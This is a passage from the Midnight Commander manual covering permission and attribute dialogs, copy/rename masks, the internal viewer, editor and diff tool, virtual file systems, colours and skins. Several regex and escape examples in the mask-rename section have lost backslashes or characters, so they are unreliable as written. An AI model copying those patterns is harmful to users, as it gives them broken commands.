To move between the widgets (buttons and check buttons) use the arrow keys or the Tab key. To change the state of the check buttons or to select a button use Space. You can also use the hotkeys on the buttons to quickly activate them. Hotkeys are shown as highlighted letters on the buttons.

To set the attribute bits, use the Enter key.

When working with a group of files or directories, you just click on the bits you want to set or clear. Once you have selected the bits you want to change, you select one of the action buttons (Set marked or Clear marked).

Finally, to set the attributes exactly to those specified, you can use the [Set all] button, which will act on all the tagged files.

[Marked all] set only marked attributes to all selected files

[Set marked] set marked bits in attributes of all selected files

[Clean marked] clear marked bits in attributes of all selected files

[Set] set the attributes of one file

[Cancel] cancel the Chmod command

Chown

The Chown command is used to change the owner/group of a file. The hot key for this command is C-x o.

Advanced Chown

The Advanced Chown command is the Chmod and Chown command combined into one window. You can change the permissions and owner/group of files at once.

Chattr

The Chattr window is used to change the attributes of a group of files and directories on a Linux file system. It can be invoked with the C-x e key combination.

Not all attributes are supported or utilized by all filesystems. List of available attribute flags is represented as a set of check buttons which correspond to the attribute flags (see chattr(1) for details). As you change the attribute flags, you can see the symbolic value change below file name.

To move between the widgets (buttons and check buttons) use the arrow keys or the Tab key. To change the state of the check buttons or to select a button use Space.

To set the attributes, use the Enter key.

When working with a group of files or directories, you just click on the flags you want to set or clear. Once you have selected the flags you want to change, you select one of the action buttons (Set marked or Clear marked).

Finally, to set the attributes exactly to those specified, you can use the [Set all] button, which will act on all the tagged files.

[Marked all] set only marked attributes to all selected files.

[Set marked] set marked flags in attributes of all selected files.

[Clean marked] clear marked flags in attributes of all selected files.

[Set] set the attributes of one file.

[Cancel] cancel the Chattr command.

File Operations

When you copy, move or delete files, Midnight Commander shows the file operations dialog. It shows the files currently being processed and uses up to three progress bars. The file bar indicates the percentage of the current file that has been processed so far. The count bar shows how many of the tagged files have been handled. The bytes bar indicates the percentage of the total size of the tagged files that has been handled. If the verbose option is off, the file and bytes bars are not shown.

There are two buttons at the bottom of the dialog. Pressing the Skip button will skip the rest of the current file. Pressing the Abort button will abort the whole operation, the rest of the files are skipped.

There are three other dialogs which you can run into during the file operations.

The error dialog informs about error conditions and has three choices. Normally you select either the Skip button to skip the file or the Abort button to abort the operation altogether. You can also select the Retry button if you fixed the problem from another terminal.

The replace dialog is shown when you attempt to copy or move a file on the top of an existing file. The dialog shows the dates and sizes of the both files. Press the Yes button to overwrite the file, the No button to skip the file, the All button to overwrite all the files, the None button to never overwrite and the Update button to overwrite if the source file is newer than the target file. You can abort the whole operation by pressing the Abort button.

The recursive delete dialog is shown when you try to delete a directory which is not empty. Press the Yes button to delete the directory recursively, the No button to skip the directory, the All button to delete all the directories and the None button to skip all the non-empty directories. You can abort the whole operation by pressing the Abort button. If you selected the Yes or All button you will be asked for a confirmation. Type “yes” only if you are really sure you want to do the recursive delete.

If you have tagged files and perform an operation on them only the files on which the operation succeeded are untagged. Failed and skipped files are left tagged.

Mask Copy/Rename

The copy/move operations let you translate the names of files in an easy way. To do it, you have to specify the correct source mask and usually in the trailing part of the destination specify some wildcards. All the files matching the source mask are copied/renamed according to the target mask. If there are tagged files, only the tagged files matching the source mask are renamed.

There are other options which you can set:

Follow links

determines whether make the symlinks and hardlinks in the source directory (recursively in subdirectories) new links in the target directory or whether would you like to copy their content.

Dive into subdirs

determines the behavior when the source directory is about to be copied, but the target directory already exists. The default action is to copy the contents of the source directory into the target directory. Enabling this option causes copying the source directory itself into the target directory.

For example, you want to copy directory /foo containing file bar to /bla/foo, which is an already existing directory. Normally (when Dive into subdirs is not set), mc would copy file /foo/bar into the file /bla/foo/bar. By enabling this option the /bla/foo/foo directory will be created, and /foo/bar will be copied into /bla/foo/foo/bar.

Preserve attributes

determines whether to preserve the permissions, timestamps and (if you are root) the ownership of the original files. If this option is not set, the current value of the umask will be respected.

Use shell patterns

When this option is on you can use the ‘*’ and ‘?’ wildcards in the source mask. They work like they do in the shell. In the target mask only the ‘*’ and ‘\digit>’ wildcards are allowed. The first ‘*’ wildcard in the target mask corresponds to the first wildcard group in the source mask, the second ‘*’ corresponds to the second group and so on. The ‘\1’ wildcard corresponds to the first wildcard group in the source mask, the ‘\2’ wildcard corresponds to the second group and so on all the way up to ‘\9’. The ‘�’ wildcard is the whole filename of the source file.

Two examples:

If the source mask is “*.tar.gz”, the destination is “/bla/*.tgz” and the file to be copied is “foo.tar.gz”, the copy will be “foo.tgz” in “/bla”.

Suppose you want to swap basename and extension so that “file.c” would become “c.file” and so on. The source mask for this is “*.*” and the destination is “\2.\1”.

Use shell patterns off

When the shell patterns option is off the MC doesn’t do automatic grouping anymore. You must use ‘...' expressions in the source mask to specify meaning for the wildcards in the target mask. This is more flexible but also requires more typing. Otherwise target masks are similar to the situation when the shell patterns option is on.

Two examples:

If the source mask is “^.*\tar\gz$”, the destination is “/bla/*.tgz” and the file to be copied is “foo.tar.gz”, the copy will be “/bla/foo.tgz”.

Let’s suppose you want to swap basename and extension so that “file.c” will become “c.file” and so on. The source mask for this is “^.*\.*$” and the destination is “\2.\1”.

Case Conversions

You can also change the case of the filenames. If you use ‘\u’ or ‘\l’ in the target mask, the next character will be converted to uppercase or lowercase correspondingly.

If you use ‘\U’ or ‘\L’ in the target mask, the next characters will be converted to uppercase or lowercase correspondingly up to the next ‘’ or next ‘\U’, ‘\L’ or the end of the file name.

The ‘\u’ and ‘\l’ are stronger than ‘\U’ and ‘\L’.

For example, if the source mask is ‘*’ ( Use shell patterns on) or ‘^.*$’ ( Use shell patterns off) and the target mask is ‘\L\u*’ the file names will be converted to have initial upper case and otherwise lower case.

You can also use ‘\ as a quote character. For example, ‘' is a backslash and ‘' is an asterisk.

Stable symlinks

commands Midnight Commander, that it should change symlinks in the target, so that they’ll point to the same location as it did before. With absolute symbolic links this does nothing, but if you have a relative one, it will recompute its value, adding necessary ../ and other directory parts and making the value as short as possible (most modern filesystems keep short symlinks inside inodes and thus don’t waste much disk space).

Select/Unselect Files

The dialog of group of files and directories selection or uselection. The input line allow enter the regular expression of filenames that will be selected/unselected.

When Files only checkbox is on, only files will be selected. If Files only is off, as files as directories will be selected. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). If Shell Patterns is off, then the tagging of files is done with normal regular expressions (see ed (1)). When Case sensitive checkbox is on, the selection will be case sensitive characters. If Case sensitive is off, the case will be ignored.

Internal Diff Viewer

The mcdiff is a visual diff tool. You can compare two files and edit them in-place (diffs are updated dynamically). You can browse and view a working copy from popular version control systems (GIT, Subversion, etc).

Following shortcuts are available in internal diff viewer of Midnight Commander.

F1
Invoke the built-in hypertext help viewer.

F2
Save modified files.

F4
Edit file of the left panel in the internal editor.

F14
Edit file of the right panel in the internal editor.

F5
Merge the current hunk. Only the current hunk will be merged.

F7
Start search.

F17
Continue search.

F10, Esc, q
Exit from diff viewer.

Alt-s, s
Toggle show of hunk status.

Alt-n, l
Toggle show of line numbers.

f
Maximize left panel.

=
Make panels equal in width.

>
Reduce the size of the right panel.

<
Reduce the size of the left panel.

c
Toggle show of trailing carriage return (CR) symbol as ^M.

2, 3, 4, 8
Set tabulation size

C-u
Swap contents of diff panels.

C-r
Refresh the screen.

C-o
Switch to the subshell and show the command screen.

Enter, Space, n
Find next diff hunk.

Backspace, p
Find previous diff hunk.

g
Go to line.

Down
Scroll one line forward.

Up
Scroll one line backward.

PageUp
Move one page up.

PageDown
Mves one page down.

Home, A1
Moves to the line beginning.

End
Moves to the line end.

C-Home
Move to the file beginning.

C-End, C1
Move to the file end.

Internal File Viewer

The internal file viewer provides two display modes: ASCII and hex. To toggle between modes, use the F4 key.

The viewer will try to use the best method provided by your system or the file type to display the information. Some character sequences, which appear most often in preformatted manual pages, are displayed bold and underlined, thus making a pretty display of your files.

When in hex mode, the search function accepts text in quotes and constant numbers. Text in quotes is matched exactly after removing the quotes. Each number matches one byte. You can mix quoted text with constants like this:

"String" 34 0xBB 012 "more text"

Numbers are always interpreted in hex. In the example above, “34” is interpreted as 0x34. The prefix “0x” isn’t really needed: we could type “BB” instead of “0xBB”. And “012” is interpreted as 0x12, not as an octal number.

Here is a listing of the actions associated with each key that the Midnight Commander handles in the internal file viewer.

F1
Invoke the built-in hypertext help viewer.

F2
Toggle the wrap mode.

F4
Toggle the hex mode.

F5
Goto. You can specify a line number, offset or percentage of file size of position that you want to view.

F7, /, ?
Start search. These keys call the dialog window that allows you to set up the search options. If key is ? the “Backwards” option is on.

C-s
Continue forward search.

C-r
Continue reverse search.

F17, n
Continue search in the chosen direction.

N
Temporary change the search direction: backwards if forward search is chosen, and vice versa.

F8
Toggle Raw/Parsed mode: This will show the file as found on disk or if a processing filter has been specified in the mc.ext.ini file, then the output from the filter. Current mode is always the other than written on the button label, since on the button is the mode which you enter by that key.

F9
Toggle the format/unformat mode: when format mode is on the viewer will interpret some string sequences to show bold and underline with different colors. Also, on button label is the other mode than current.

F10, Esc.
Exit the internal file viewer.

PageDown, space, C-v.
Scroll one page forward.

PageUp, Alt-v, C-b, Backspace.
Scroll one page backward.

Down
Scroll one line forward.

Up
Scroll one line backward.

C-l
Refresh the screen.

C-o
Switch to the subshell and show the command screen.

[n] m
Set the mark n.

[n] r
Jump to the mark n.

C-f
Jump to the next file.

C-b
Jump to the previous file.

Alt-r
Toggle the ruler.

Alt-e
to change charset of displayed text may use Alt-e (M-e). Recoding is made from selected codepage into system codepage. To cancel the recoding you may select “<No translation>” in charset selection dialog.

It’s possible to instruct the file viewer how to display a file, look at the Edit Extension File section

Internal File Editor

The internal file editor is a full-featured full screen editor. It can edit files up to 64 megabytes. It is possible to edit binary files. The internal file editor is invoked using F4 if the use_internal_edit option is set in the initialization file.

The features it presently supports are: block copy, move, delete, cut, paste; key for key undo; pull-down menus; file insertion; macro commands; regular expression search and replace; S-arrow text highlighting (if supported by the terminal); insert-overwrite toggle; word wrap; autoindent; tunable tab size; syntax highlighting for various file types; and an option to pipe text blocks through shell commands like indent and ispell.

Sections:

Options of editor in ini-file

The editor is very easy to use and requires no tutoring. To see what keys do what, just consult the appropriate pull-down menu. Other keys are: Shift movement keys do text highlighting. C-Ins copies to the file mcedit.clip and S-Ins pastes from mcedit.clip. S-Del cuts to mcedit.clip, and C-Del deletes highlighted text. Mouse highlighting also works, and you can override the mouse as usual by holding down the shift key while dragging the mouse to let normal terminal mouse highlighting work.

To define a macro, press C-R and then type out the key strokes you want to be executed. Press C-R again when finished. You can then assign the macro to any key you like by pressing that key. The macro is executed when you press C-A and then the assigned key. The macro is also executed if you press Meta, Ctrl, or Esc and the assigned key, provided that the key is not used for any other function. Once defined, the macro commands go into the file ~/.local/share/mc/mcedit/mcedit.macros You can delete a macro by deleting the appropriate line in this file.

To change charset of displayed text may use Alt-e (M-e). Recoding is made from selected codepage into system codepage. To cancel the recoding you may select “<No translation>” in charset selection dialog.

F19 will format the currently highlighted block (plain text or C or C++ code or another). This is controlled by the file /usr/share/mc/edit.indent.rc which is copied to ~/.local/share/mc/mcedit/edit.indent.rc in your home directory the first time you use it.

The editor also displays non-us characters (160+). When editing binary files, you should set display bits to 7 bits in the options menu to keep the spacing clean.

Options of editor in ini-file

Some editor options of ini-file are described in this section. Options are placed in [Midnight-Commander] section

editor_wordcompletion_collect_entire_file
Search autocomplete candidates in entire of file or just from begin of file to cursor position (0)

Screen selector

Midnight Commander supports running many internal modules (such as editor, viewer and diff viewer) simultaneously and switching between them without closing open files. Using several file managers at a time, however, is not currently supported.

Let’s call each of these modules a screen. There are three ways to switch between screens, using one of these global shortcuts:

Alt-}
switch to the next screen;

Alt-{
switch to the previous screen;

Alt-`
open a dialog window with the list of currently open screens (or use the “Screen list” menu item).

Completion

Let Midnight Commander type for you.

Attempt to perform completion on the text before current position. MC attempts completion treating the text as variable (if the text begins with $), username (if the text begins with ~), hostname (if the text begins with @) or command (if you are on the command line in the position where you might type a command, possible completions then include shell reserved words and shell built-in commands as well) in turn. If none of these matches, filename completion is attempted.

Filename, username, variable and hostname completion works on all input lines, command completion is command line specific. If the completion is ambiguous (there are more different possibilities), MC beeps and the following action depends on the setting of the Complete: show all option in the Configuration dialog. If it is enabled, a list of all possibilities pops up next to the current position and you can select with the arrow keys and Enter the correct entry. You can also type the first letters in which the possibilities differ to move to a subset of all possibilities and complete as much as possible. If you press Alt-Tab again, only the subset will be shown in the listbox, otherwise the first item which matches all the previous characters will be highlighted. As soon as there is no ambiguity, dialog disappears, but you can hide it by canceling keys Esc, F10 and left and right arrow keys. If Complete: show all is disabled, the dialog pops up only if you press Alt-Tab for the second time, for the first time MC just beeps.

Apply escaping of ?, *, and & symbols (as ***, ***, and ****) in filenames to disallow use them as metasymbols in regular expressions when substitution is performed in the input line.

Virtual File System

Midnight Commander is provided with a code layer to access the file system; this code layer is known as the virtual file system switch. The virtual file system switch allows Midnight Commander to manipulate files not located on the Unix file system.

Currently, Midnight Commander is packaged with some Virtual File Systems (VFS): the local file system, used for accessing the regular Unix file system; the ftpfs, used to manipulate files on remote systems with the FTP protocol; the tarfs, used to manipulate tar and compressed tar files; the undelfs, used to recover deleted files on ext2 file systems (the default file system for Linux systems), shell (for manipulating files over shell connections such as rsh and ssh). If the code was compiled with sftpfs (for manipulating files over SFTP connections).

A generic extfs (EXTernal virtual File System) is provided in order to easily expand VFS capabilities using scripts and external software.

The VFS switch code will interpret all of the path names used and will forward them to the correct file system, the formats used for each one of the file systems is described later in their own section.

FTP File System

The FTP File System (ftpfs) allows you to manipulate files on remote machines. To actually use it, you can use the FTP link item in the menu or directly change your current directory using the cd command to a path name that looks like this:

ftp://[!][user[:pass]@]machine[:port][remote-dir]

The user, port and remote-dir elements are optional. If you specify the user element, Midnight Commander will login to the remote machine as that user, otherwise it will use anonymous login or the login name from the ~/.netrc file. The optional pass element is the password used for the connection. Using the password in the VFS directory name is not recommended, because it can appear on the screen in clear text and can be saved to the directory history.

To enable using FTP proxy, prepend ! (an exclamation sign) to the hostname.

Examples:

    ftp://ftp.nuclecu.unam.mx/linux/local
    ftp://tsx-11.mit.edu/pub/linux/packages
    ftp://!behind.firewall.edu/pub
    ftp://[email protected]:40/pub
    ftp://miguel:xxx@server/pub

Please check the Virtual File System dialog box for ftpfs options.

Tar File System

The tar file system provides you with read-only access to your tar files and compressed tar files by using the chdir command. To change your directory to a tar file, you change your current directory to the tar file by using the following syntax:

/filename.tar/utar://[dir-inside-tar]

The mc.ext.ini file already provides a shortcut for tar files, this means that usually you just point to a tar file and press return to enter into the tar file, see the Edit Extension File section for details on how this is done.

Examples:

    mc-3.0.tar.gz/utar://mc-3.0/vfs
    /ftp/GCC/gcc-2.7.0.tar/utar://

The latter specifies the full path of the tar archive.

FIle transfer over SHell filesystem

The shell file system is a network based file system that allows you to manipulate the files in a remote machine as if they were local. To use this, the other side has to have bash-compatible shell.

To connect to a remote machine, you just need to chdir into a special directory which name is in the following format:

sh://[user@]machine[:options]/[remote-dir]

The user, options and remote-dir elements are optional. If you specify the user element, Midnight Commander will try to login on the remote machine as that user, otherwise it will use your login name.

The available options are:

  'C' - use compression;
  'r' - use rsh instead of ssh;
  port - specify the port used by remote server.

If the remote-dir element is present, your current directory on the remote machine will be set to this one.

Examples:

    sh://onlyrsh.mx:r/linux/local
    sh://[email protected]:C/private
    sh://[email protected]/private
    sh://[email protected]:2222/private

SFTP (SSH File Transfer Protocol) filesystem

The SFTP file system is a network based file system that allows you to manipulate the files in a remote machine as if they were local.

To connect to a remote machine, you just need to chdir into a special directory which name is in the following format:

sftp://[user@]machine:[port]/[remote-dir]

The user, port and remote-dir elements are optional. If you specify the user element, Midnight Commander will try to login on the remote machine as that user, otherwise it will use your login name. port - specify the port used by remote server (22 by default). If the remote-dir element is present, your current directory on the remote machine will be set to this one.

Examples:

    sftp://onlyrsh.mx/linux/local
    sftp://joe:[email protected]/private
    sftp://[email protected]/private
    sftp://[email protected]:2222/private

When establishing the connection, server key fingerprint is verified using the ~/.ssh/known_hosts file. If the host/key pair is not found or the host is found, but the key doesn’t match, an appropriate message is shown. There are three buttons in the message dialog:

[Yes] add new host/key pair to the ~/.ssh/known_hosts file and continue.

[Ignore] do not add new host/key pair to the ~/.ssh/known_hosts file, but continue nevertheless (at you own risk).

[No] abort connection.

Undelete File System

On Linux systems, if you asked configure to use the ext2fs undelete facilities, you will have the undelete file system available. Recovery of deleted files is only available on ext2 file systems. The undelete file system is just an interface to the ext2fs library to retrieve all of the deleted files names on an ext2fs and provides and to extract the selected files into a regular partition.

To use this file system, you have to chdir into the special file name formed by the “undel://” prefix and the file name where the actual file system resides.

For example, to recover deleted files on the second partition of the first SCSI disk on Linux, you would use the following path name:

    undel://sda2

It may take a while for the undelfs to load the required information before you start browsing files there.

EXTernal File System

extfs allows you to integrate numerous features and file types into GNU Midnight Commander in an easy way, by writing scripts.

Extfs filesystems can be divided into two categories:

1. Stand-alone filesystems, which are not associated with any existing file. They represent certain system-wide data as a directory tree. You can invoke them by typing cd fsname:// where fsname is an extfs short name (see below). Examples of such filesystems include audio (list audio tracks on the CD) or apt (list of all Debian packages in the system).

For example, to list CD-Audio tracks on your CD-ROM drive, type

  cd audio://

2. ‘Archive’ filesystems (like rpm, patchfs and more), which represent contents of a file as a directory tree. It can consist of ‘real’ files compressed in an archive (urar, rpm) or virtual files, like messages in a mailbox (mailfs) or parts of a patch (patchfs). To access such filesystems fsname:// should be appended to the archive name. Note that the archive itself can be on another vfs.

For example, to list contents of a zip archive documents.zip type

  cd documents.zip/uzip://

In many aspects, you could treat extfs like any other directory. For instance, you can add it to the hotlist or change to it from directory history. An important limitation is that you cannot invoke shell commands inside extfs, just like any other non-local VFS.

Common extfs scripts included with Midnight Commander are:

a
access ‘A:’ DOS/Windows diskette (cd a://).

apt
front end to Debian’s APT package management system (cd apt://).

audio
audio CD ripping and playing (cd audio:// or cd device/audio://).

bpp
package of Bad Penguin GNU/Linux distribution (cd file.bpp/bpp://).

deb
package of Debian GNU/Linux distribution (cd file.deb/deb://).

dpkg
Debian GNU/Linux installed packages (cd deb://).

hp48
view and copy files to/from a HP48 calculator (cd hp48://).

lslR
browsing of lslR listings as found on many FTPs (cd filename/lslR://).

mailfs
mbox-style mailbox files support (cd mailbox/mailfs://).

patchfs
extfs to handle unified and context diffs (cd filename/patchfs://).

rpm
RPM package (cd filename/rpm://).

rpms
RPM database management (cd rpms://).

ulha, urar, uzip, uzoo, uar, uha
archivers (cd archive/xxxx:// where xxxx is one of: ulha, urar, uzip, uzoo, uar, uha).

You could bind file type/extension to specified extfs as described in the Edit Extension File section. Here is an example entry for Debian packages:

  regex/.deb$
          Open=%cd %p/deb://

Colors

Midnight Commander will try to detect if your terminal supports color using the terminal database and your terminal name. Sometimes it gets confused, so you may force color mode or disable color mode using the -c and -b flag respectively.

If the program is compiled with the S-Lang screen manager instead of ncurses, it will also check the variable COLORTERM, if it is set, it has the same effect as the -c flag.

You may specify terminals that always force color mode by adding the color_terminals variable to the Colors section of the initialization file. This will prevent Midnight Commander from trying to detect if your terminal supports color. Example:

[Colors]
color_terminals=linux,xterm
color_terminals=terminal-name1,terminal-name2...

The program can be compiled with both ncurses and S-Lang, ncurses does not provide a way to force color mode: ncurses uses just the information in the terminal database.

Midnight Commander provides a way to change the default colors. Currently the colors are configured using the environment variable MC_COLOR_TABLE or the Colors section in the initialization file.

In the Colors section, the default color map is loaded from the base_color variable. You can specify an alternate color map for a terminal by using the terminal name as the key in this section. Example:

[Colors]
base_color=
xterm=menu=magenta:marked=,magenta:markselect=,red

The format for the color definition is:

  <keyword>=<fgcolor>,<bgcolor>,<attributes>:<keyword>=...

The colors are optional, and the keywords are: normal, selected, disabled, marked, markselect, errors, input, inputmark, inputunchanged, commandlinemark, reverse, gauge, header, inputhistory, commandhistory. Button bar colors are: bbarhotkey, bbarbutton. Status bar color: statusbar. Menu colors are: menunormal, menusel, menuhot, menuhotsel, menuinactive. Dialog colors are: dnormal, dfocus, dhotnormal, dhotfocus, dtitle. Error dialog colors are: errdfocus, errdhotnormal, errdhotfocus, errdtitle. Help colors are: helpnormal, helpitalic, helpbold, helplink, helpslink, helptitle. Viewer colors are: viewnormal, viewbold, viewunderline, viewselected. Editor colors are: editnormal, editbold, editmarked, editwhitespace, editnonprintable, editlinestate. Popup menu colors are: pmenunormal, pmenusel, pmenutitle.

header determines the color of panel header, the line that contains column titles and sort mode indicator.

input determines the color of input lines used in query dialogs.

gauge determines the color of the filled part of the progress bar (gauge), which is used to show the user the progress of file operations, such as copying.

disabled determines the color of the widget that cannot be selected.

The dialog boxes use the following colors: dnormal is used for the normal text, dfocus is the color used for the currently selected component, dhotnormal is the color used to differentiate the hotkey color in normal components, whereas the dhotfocus color is used for the highlighted color in the currently selected component.

Menus use the same scheme but uses the menunormal, menusel, menuhot, menuhotsel and menuinactive tags instead.

Help uses the following colors: helpnormal is used for normal text, helpitalic is used for text which is emphasized in italic in the manual page, helpbold is used for text which is emphasized in bold in the manual page, helplink is used for not selected hyperlinks and helpslink is used for selected hyperlink.

Popup menu uses following colors: pmenunormal is used for non-selected menu items and as a main color of popup menu window, pmenusel is used for selected menu item, pmenutitle is used for popup menu title.

The possible colors are: black, gray, red, brightred, green, brightgreen, brown, yellow, blue, brightblue, magenta, brightmagenta, cyan, brightcyan, lightgray and white. And there is a special keyword for transparent background. It is ‘default’. The ‘default’ can only be used for background color. Another special keyword “base” means mc’s main colors. When 256 colors are available, they can be specified either as color16 to color255, or as rgb000 to rgb555 and gray0 to gray23. Example:

[Colors]
base_color=normal=white,default:marked=magenta,default

Attributes can be any of bold, italic, underline, reverse and blink, appended by a plus sign if more than one are desired. The special word “none” means no attributes, without attempting to fall back to base_color. Example:

menuhotsel=yellow;black;bold+underline

Skins

You can change the appearance of Midnight Commander. To do this, you must specify a file that contain descriptions of colors and lines to draw boxes. Redefining of the colors is entirely compatible with the assignment of colors, as described in Section Colors.

If your skin contains any true-color definitions, you should define the ’truecolors’ key set to TRUE value in [skin] section. If true-color is not used but 256-color is, you should define ‘256colors’ instead.

A skin-file is searched on the following algorithm (to the first one found):

  1. command line option -S <skin> or –skin=<skin>
  2. Environment variable MC_SKIN
  3. Parameter skin in section [Midnight-Commander] in config file.
  4. File /etc/mc/skins/default.ini
  5. File /usr/share/mc/skins/default.ini

Command line option, environment variable and parameter in config file may contain the absolute path to the skin-file (with the extension .ini or without it). Search of skin-file will occur in (to the first one found):

1) ~/.local/share/mc/skins/
2) /etc/mc/skins/
3) /usr/share/mc/skins/

For getting extended info, refer to:

Description of section and parameters
Color pair definitions
Color and attribute aliases
Draw lines
Compatibility

Description of section and parameters

Section [skin] contain metainfo for skin-file. Parameter description contain short text about skin.

Section [filehighlight] contain descriptions of color pairs for filenames highlighting. Name of parameters must be equal to names of sections into filehighlight.ini file. See Filenames Highlight for getting more info.

Section [core] describes the elements that are used everywhere.

_default_
Default color pair. Used in all other sections if they not contain color definitions

selected
cursor

marked
selected data

markselect
cursor on selected data

gauge
color of the filled part of the progress bar

input
color of input lines used in query dialogs

inputmark
color of input selected text

inputunchanged
color of input text before first modification or cursor movement

commandlinemark
color of selected text in command line

reverse
reverse color

Section [dialog] describes the elements that are placed on dialog windows (except error dialogs).

_default_
Default color for this section. Used [core]._default_ if not specified

dfocus
Color of active element (in focus)

dhotnormal
Color of hotkeys

dhotfocus
Color of hotkeys in focused element

Section [error] describes the elements that are placed on error dialog windows

_default_
Default color for this section. Used [core]._default_ if not specified

errdhotnormal
Color of hotkeys

errdhotfocus
Color of hotkeys in focused element

Section [menu] describes the elements that are placed in menu. This section describes system menu (called by F9) and user-defined menus (called by F2 in panels and by F11 in editor).

_default_
Default color for this section. Used [core]._default_ if not specified

entry
Color of menu items

menuhot
Color of menu hotkeys

menusel
Color of active menu item (in focus)

menuhotsel
Color of menu hotkeys in focused menu item

menuinactive
Color of inactive menu

Section [help] describes the elements that are placed on help window.

_default_
Default color for this section. Used [core]._default_ if not specified

helpitalic
Color pair for element with italic attribute

helpbold
Color pair for element with bold attribute

helplink
Color of links

helpslink
Color of active link (on focus)

Section [editor] describes the colors of elements placed in editor.

_default_
Default color for this section. Used [core]._default_ if not specified

editbold
Color pair for element with bold attribute

editmarked
Color of selected text

editwhitespace
Color of tabs and trailing spaces highlighting

editlinestate
Color for line state area

Section [viewer] describes the colors of elements placed in viewer.

viewunderline
Color pair for element with underline attribute

Color pair definitions

Any parameter in skin-file contain definition of color pair.

Color pairs described as two colors and the optional attributes separated by ‘;’. First field sets the foreground color, second field sets background color, third field sets the attributes. Any of the fields may be omitted, in this case value will be taken from default color pair (global color pair or from default color pair of this section).

Example:

[core]
    # green on black
    _default_=green;black
    # green (default) on blue
    selected=;blue
    # yellow on black (default)
    # underlined yellow on black (default)
    marked=yellow;;underline

Possible colors (names) and attributes are described in Colors. section.

Color and attribute aliases

This optional section might define aliases for single colors (not color pairs) as well as combination of attributes; in other words, for semicolon-separated fragments of parameters. Aliases can refer to other aliases as long as they don’t form a loop.

Example:

[aliases]
    myfavfg=green
    myfavbg=black
    myfavattr=bold+italic
[core]
    _default_=myfavfg;myfavbg;myfavattr

Draw lines

Lines sets in section [Lines] into skin-file. By default single lines are used, but you may redefine to usage of any utf-8 symbols (like to lines, for example).

WARNING!!! When you build Midnight Commander with the ncurses screen library usage of drawing lines is limited! Possible only drawing a single lines. For all questions and comments please contact the developers of ncurses.

Descriptions of parameters [Lines]:

lefttop
left-top line fragment.

righttop
right-top line fragment.

centertop
down branch of horizontal line

centerbottom
up branch of horizontal line

leftbottom
left-bottom line fragment

rightbottom
right-bottom line fragment

leftmiddle
right branch of vertical line

rightmiddle
left branch of vertical line

centermiddle
cross of lines

horiz
horizontal line

vert
vertical line

thinhoriz
thin horizontal line

thinvert
thin vertical line

Compatibility

Appointment of color by skin-files fully compatible with the appointment of the colors described in Colors. section.

In this case, reassignment of colors has priority over the skin file and is complementary.

Filenames Highlight

Section [filehighlight] in current skin-file contains key names as highlight groups and values as color pairs. Color pairs is documented in Skins section.

Rules of filenames highlight are placed in /usr/share/mc/filehighlight.ini file (~/.config/mc/filehighlight.ini). Name of section in this file must be equal to parameters names in [filehighlight] section (in current skin-file).

Keys in these groups are:

type
file type. If present, all other options are ignored.

regexp
regular expression. If present, ’extensions’ option is ignored.

extensions
list of extensions of files. Separated by ‘;’ sign.

extensions_case
(make sense only with ’extensions’ parameter) make ’extensions’ rule case sensitive (true) or not (false).

`type’ key may have values:

- FILE (all files)
  - FILE_EXE
- DIR (all directories)
  - LINK_DIR
- LINK (all links except stale link)
  - HARDLINK
  - SYMLINK
- STALE_LINK
- DEVICE (all device files)
  - DEVICE_BLOCK
  - DEVICE_CHAR
- SPECIAL (all special files)
  - SPECIAL_SOCKET
  - SPECIAL_FIFO
  - SPECIAL_DOOR

Special Settings

Most of Midnight Commander settings can be changed from the menus. However, there are a small number of settings which can only be changed by editing the setup file.

These variables may be set in your ~/.config/mc/ini file:

clear_before_exec
By default, Midnight Commander clears the screen before executing a command. If you would prefer to see the output of the command at the bottom of the screen, edit your ~/.config/mc/ini file and change the value of the field clear_before_exec to 0.

confirm_view_dir
If you press F3 on a directory, normally MC enters that directory. If this flag is set to 1, then MC will ask for confirmation before changing the directory if you have files tagged.

ftpfs_retry_seconds
This value is the number of seconds Midnight Commander will wait before attempting to reconnect to an FTP server that has denied the login. If the value is zero, the login will no be retried.

max_dirt_limit
Specifies how many screen updates can be skipped at most in the internal file viewer. Normally this value is not significant, because the code automatically adjusts the number of updates to skip according to the rate of incoming keystrokes. However, on very slow machines or terminals with a fast keyboard auto repeat, a big value can make screen updates too jumpy.

It seems that setting max_dirt_limit to 10 causes the best behavior, and that is the default value.

mouse_move_pages_viewer
Controls if scrolling with the mouse is done by pages or line by line on the internal file viewer.

only_leading_plus_minus
Allow special treatment for ‘+’, ‘-’, ‘*’ in the command line (select, unselect, reverse selection) only if the command line is empty. You don’t need to quote those characters in the middle of the command line. On the other hand, you cannot use them to change selection when the command line is not empty.

alternate_plus_minus
If true, use ‘+’, ‘-’, ‘\ and ‘*’ keys normally. For select/unselect, use ‘Alt-+’, ‘Alt–’ and ‘Alt-*’.

show_output_starts_shell
This variable only works if you are not using the subshell support. When you use the C-o keystroke to go back to the user screen, if this one is set, you will get a fresh shell. Otherwise, pressing any key will bring you back to Midnight Commander.

timeformat_recent
Change the time format used to display dates less than 6 months from now. See strftime or date man page for the format specification. If this option is absent, default timeformat is used.

timeformat_old
Change the time format used to display dates older than 6 months from now or for dates in the future. See strftime or date man page for the format specification. If this option is absent, default timeformat is used.

torben_fj_mode
If this flag is set, then the home and end keys will work slightly different on the panels, instead of moving the selection to the first and last files in the panels, they will act as follows:

The home key will: Go up to the middle line, if below it; else go to the top line unless it is already on the top line, in this case it will go to the first file in the panel.

The end key has a similar behavior: Go down to the middle line, if over it; else go to the bottom line unless you already are at the bottom line, in such case it will move the selection to the last file name in the panel.

use_file_to_guess_type
If this variable is on (the default) it will spawn the file command to match the file types listed on the mc.ext.ini file.

xtree_mode
If this variable is on (default is off) when you browse the file system on a Tree panel, it will automatically reload the other panel with the contents of the selected directory.

shell_directory_timeout
This variable holds the lifetime of a directory cache entry in seconds. The default value is 900 seconds.

clipboard_store
This variable contains path (with options) to the external clipboard utility like ‘xclip’ to read text into X selection from file. For example:

clipboard_store=xclip -i

clipboard_paste
This variable contains path (with options) to the external clipboard utility like ‘xclip’ to print the selection to standard out. For example:

clipboard_paste=xclip -o

autodetect_codeset
This option allows use the `enca’ command to autodetect codeset of text files in internal viewer and editor. List of valid values can be obtain by the `enca –list languages | cut -d : -f1’ command. Option must be located in the [Misc] section.

For example:

autodetect_codeset=russian

Parameters for external editor or viewer

